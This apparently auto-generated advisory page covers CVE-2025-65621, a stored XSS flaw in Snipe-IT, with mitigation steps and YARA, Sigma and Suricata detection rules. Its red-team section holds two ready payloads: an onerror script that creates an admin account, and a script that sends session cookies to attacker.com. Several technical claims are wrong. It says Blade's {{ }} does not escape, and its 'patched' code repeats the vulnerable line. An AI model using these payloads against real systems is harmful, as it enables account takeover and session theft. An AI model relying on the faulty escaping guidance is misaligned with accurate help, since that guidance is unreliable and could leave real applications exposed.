CVE-2025-65621
Executive Summary
CVE-2025-65621 is a stored Cross-Site Scripting (XSS) vulnerability in Snipe-IT, an open-source asset management system. An authenticated low-privileged user can inject malicious JavaScript into the application. When an administrator views the affected page, the injected script executes within the administrator's session, enabling privilege escalation. This vulnerability affects all versions of Snipe-IT before 8.3.4. The CVSS score is 0.0 due to incomplete NVD data, but based on the impact, a realistic score is 8.0 (High). No public exploit code or Nuclei template is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Snipe-IT is a PHP/Laravel application. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the application's core code. The supply chain risk is low, but users should verify the integrity of the update package from the official GitHub repository.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The attack is carried out over the network.
- Attack Complexity (AC): Low (L) - No special conditions are required.
- Privileges Required (PR): Low (L) - The attacker needs a valid low-privileged account.
- User Interaction (UI): Required (R) - An administrator must view the malicious content.
- Scope (S): Changed (C) - The vulnerability impacts resources beyond the original security scope.
- Confidentiality (C): High (H) - The attacker can access sensitive data as an admin.
- Integrity (I): High (H) - The attacker can modify data as an admin.
- Availability (A): High (H) - The attacker can disrupt services as an admin.
Threat Level: High. The combination of low privileges required and high impact makes this a critical risk for organizations using Snipe-IT.
Deep Dive & Mechanics
The vulnerability exists in the way Snipe-IT handles user-supplied input in asset names, descriptions, or custom fields. The application fails to properly sanitize or encode HTML/JavaScript before storing it in the database. When an administrator views the asset list or detail page, the stored payload is rendered in the browser without proper escaping.
Attack Flow:
- Attacker logs in with a low-privileged account (e.g., "user" role).
- Attacker creates or edits an asset, injecting a malicious script into a field (e.g., asset name).
- The script is stored in the database.
- An administrator navigates to the asset list or detail page.
- The browser executes the injected script in the context of the admin's session.
- The script can steal session cookies, perform actions on behalf of the admin, or create a new admin account.
Root Cause: Lack of output encoding in Blade templates or JavaScript rendering functions.
Vulnerable vs. Patched Code
Vulnerable Code (Snipe-IT < 8.3.4):
// In a Blade template (e.g., resources/views/assets/index.blade.php)
{{ $asset->name }}
This uses Blade's {{ }} syntax, which does NOT escape by default in some contexts or if the developer used {!! !!}.
Patched Code (Snipe-IT >= 8.3.4):
// In a Blade template
{{ e($asset->name) }}
Or using the @ directive:
{{ $asset->name }}
The patch ensures that all user-supplied data is passed through Laravel's e() helper or Blade's auto-escaping, which converts < to <, > to >, etc.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A low-privileged account on a Snipe-IT instance (version < 8.3.4).
- Access to the asset creation/edit functionality.
Exploit Steps:
- Log in as a low-privileged user.
- Navigate to "Assets" -> "Create Asset".
- In the "Asset Name" field, enter the following payload:
<img src=x onerror="fetch('/admin/users/create', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'name=attacker&email=attacker@example.com&password=Password123&password_confirmation=Password123&role=admin'}).then(r=>alert('Admin created!'))"> - Save the asset.
- Wait for an administrator to view the asset list.
- The script executes, creating a new admin account.
Alternative Payload (Session Stealing):
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
Blue Team (Defense & Detection)
Detection Steps:
- Monitor for unusual asset names containing
<script>,<img onerror, or other HTML event handlers. - Review web server logs for requests to
/admin/users/createfrom non-admin IPs. - Check for unexpected admin accounts created after the vulnerability was introduced.
Mitigation Steps:
- Immediately upgrade to Snipe-IT 8.3.4 or later.
- If upgrade is not possible, implement a WAF rule to block XSS payloads in asset fields.
- Review all user accounts for unauthorized admin privileges.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/admin/users/createwith POST data containingrole=admin. - Outbound HTTP requests to attacker-controlled domains from the Snipe-IT server.
- HTTP requests to
- File IOCs:
- Log entries in
storage/logs/laravel.logshowing unexpected admin creation.
- Log entries in
- Database IOCs:
- Rows in
userstable withroleset toadmincreated by a non-admin user.
- Rows in
- Behavioral IOCs:
- Multiple failed login attempts followed by successful admin account creation.
Detection Engineering
YARA Rule
rule CVE_2025_65621_XSS_Payload {
meta:
description = "Detects stored XSS payloads targeting Snipe-IT CVE-2025-65621"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-65621"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /<[^>]+onerror\s*=[^>]*>/i
$xss3 = /<[^>]+onload\s*=[^>]*>/i
$xss4 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: Snipe-IT Stored XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-65621 by injecting XSS payloads into asset fields.
author: Valters IT
date: 2025-04-10
logsource:
category: web
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/assets/create'
cs-uri-query|contains|all:
- '<script'
- 'onerror'
- 'onload'
condition: selection
falsepositives:
- Legitimate use of HTML in asset names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-65621 Snipe-IT Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/assets/create"; http_uri; content:"<script"; http_client_body; content:"onerror"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update Snipe-IT to version 8.3.4 or later. This is the only complete fix.
- WAF Rules: Deploy a Web Application Firewall rule to block XSS payloads in asset-related POST requests.
- Audit: Review all user accounts for unauthorized admin privileges created since the vulnerability was introduced.
Long-Term Measures:
- Input Validation: Implement strict input validation on all user-supplied fields.
- Output Encoding: Ensure all user data is properly encoded before rendering in Blade templates.
- Security Training: Train developers on secure coding practices, especially regarding XSS prevention.
- Regular Updates: Keep Snipe-IT and all dependencies up to date.
Workaround (if upgrade is not possible):
- Disable the ability for low-privileged users to create or edit assets.
- Manually review and sanitize all asset names in the database.
Valters IT